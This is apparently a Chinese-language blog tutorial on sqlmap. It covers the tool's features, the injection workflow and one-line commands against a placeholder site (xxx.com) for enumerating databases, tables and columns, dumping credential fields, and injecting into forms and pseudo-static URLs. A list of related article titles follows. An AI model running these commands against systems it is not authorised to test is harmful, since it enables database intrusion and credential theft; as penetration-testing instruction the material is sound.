自动化SQL注入工具——Sqlmap
Sqlmap – 简介
Sqlmap是一个自动化检测和利用SQL注入漏洞的免费开源工具
1、支持对多种数据库进行注入测试,能够自动识别数据库类型并注入
2、支持多种注入技术,并且能够自动探测使用合适的注入技术如:布尔盲注、时间盲注、联合查询注入、报错注入、堆查询注入
3、能够爆破数据库信息,如用户名,密码
4、能够自动识别哈希密码,并且使用密码字典进行破解
SqlMap是渗透测试人员对SQL注入漏洞进行检测的最佳工具
Sqlmap(Kali Linux自带)
在Kali终端 输入sqlmap 显示如下界面则表示Sqlmap正确安装

SQLMAP注入流程
Sqlmap注入的一般流程
一、判断是否存在注入点
二、查询数据库信息
三、根据数据库爆破数据表
四、根据数据库名和数据表名爆破字段名
五、爆破字段里面的数据
使用Sqlmap爬虫爬取可以注入的网页
例:sqlmap.py -u "http://xxx.com/" --crawl 2/3……
Sqlmap实战
Sqlmap注入的命令参数
1、判断注入点:sqlmap.py -u url(目标地址)
-u:指定地址
2、爆破数据库名:sqlmap.py -u http://xxx.com/?id=1 --dbs
--dbs:查看所有数据库名
--current-db:查看当前使用的数据库

3、爆破数据表名:sqlmap.py -u http://xxx.com/?id=1 –D库名 –-tables
-D:指定数据库名
--tables:查看指定库下面的所有的表名

4、爆破字段名sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 –-columns
-T:指定表名
--columns:查看指定库的表中的所有字段名

5、爆破所有数据sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 -C 字段名 –-dump
例:sqlmap.py -u http://xxx.com/?id=1 -D库名 –T表名 -C username,possword –-dump
-C:指定字段名
--dump:根据指定的库、表、字段爆破里面的数据(违法行为,实战中不建议用)
Sqlmap拓展
Sqlmap对伪静态进行注入
使用方式:sqlmap.py -u http://xxx.com/abc/1*.html –-dbs(*表示指定注入点)
Sqlmap对登陆框(表单)进行注入
使用方式:sqlmap.py -u http://xxx.com/admin/index.php --form(测试表单)
其他命令参数:
--batch:自动选择(默认大写字母)
--flush-session:清除缓存 //简写–zflu
--level:共有五个等级,默认为1,等级越高,测试的内容也越多
--risk:共有四个风险等级,默认是1,等级越高,用来测试的语句也更多
-v:显示详细扫描信息,共有5个等级
自动化SQL注入工具——Sqlmap的更多相关文章
- 自动化SQL注入工具 sqlmap 使用手册
0x00 sqlmap介绍 什么是sqlmap? sqlmap是一个开源的渗透测试工具,它自动化了检测和利用SQL注入缺陷 以及接管数据库服务器的过程.它配备了一个强大的检测引擎 ,以及终极渗透测试仪 ...
- 详解强大的SQL注入工具——SQLMAP
1. 前言 Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...
- sql注入工具sqlmap使用参数说明
Options(选项):--version 显示程序的版本号并退出-h, --help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中 ...
- SQL注入工具sqlmap的注入过程记录
1.sqlmap的get注入 假设目标是 https://www.baidu.com/news.php?id=1&data=2 sqlmap语句 列库 sqlmap.py -u "h ...
- SQL注入工具sqlmap的使用
sqlmap使用 测试注入点 sqlmap -u "URL" 爆数据库 sqlmap -u "URL" --dbs 查看当前库 sqlmap -u " ...
- 十大关系数据库SQL注入工具一览
摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...
- 10个SQL注入工具(转载)
众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...
- Sql注入测试--Sqlmap
慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...
- 10 个 SQL 注入工具
BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出 ...
- sql注入工具:sqlmap命令
sqlmap是一款专业的sql注入工具, 让你告别人工注入, 程序高效自动注入 前提是你有找到注入点 , 工具的官方网站:http://sqlmap.org/ kali系统默认安装sqlmap, 不需 ...
随机推荐
- [MyBatis]MyBatis系列:模糊查询的4种实现方式【待完善】
背景 客户现网遇到的1个子问题. 方案 LIKE + Concat(strA, strB) ... 参考文献 MyBatis系列:模糊查询的4种实现方式
- 回顾.NET系列:Framework、Net Core、Net 过往
目录 一.个人最近工作变化 二.Framework.Net Core..NET 时过境迁 Framework:爱你定格在4.8 .Net Foundation:.Net变革大脑 重新统一的 .NET ...
- Yii framework 应用小窍门
Yii framework 应用小窍门 1. Yii Framework] 如何获取当前controller的名称? 下面语句就可以获取当前控制器的名称了! Php代码 Yii::app ...
- 帝国cms 随机调取新闻
<?php $hits_r = $empire->query("select * from {$dbtbpre}ecms_music as t1 join (select rou ...
- prometheus node-exporter安装
目录 prometheus node-exporter安装 包安装在linux服务器 Daemonset安装 Docker安装 helm安装 prometheus node-exporter安装 安装 ...
- Swift CustomStringConvertible 协议的使用
目录 一.前言 二.使用场景 1. 整型类型的枚举使用 2. Class类型的使用 一.前言 先看一下Swift标准库中对CustomStringConvertible协议的定义 public pro ...
- [C++核心编程] 4.6、继承
文章目录 4.6 继承 4.6.1 继承的基本语法 4.6.2 继承方式 4.6.3 继承中的对象模型 4.6.4 继承中构造和析构顺序 4.6.5 继承同名成员处理方式 4.6.6 继承同名静态成员 ...
- Python-解三元一次方程
需要解的方程组为: x + y + z = 26 x - y = 1 2x - y + z = 18 下面进入代码实现: 1.导入数学计算库 numpy import numpy as np 2.生成 ...
- Pytorch数据操作
1.Pytorch中tensor的生成与访问 可以使用arange()创建一个张量:如,torch.arange(12)创建0开始的前12个整数: 除非特殊指定,否则新的张量将存放在内存中,并采用CP ...
- LeetCode 周赛 344(2023/05/07)手写递归函数的固定套路
本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问. 大家好,我是小彭. 今天下午有力扣杯战队赛,不知道官方是不是故意调低早上周赛难度给选手们练练手. 往期周赛回 ...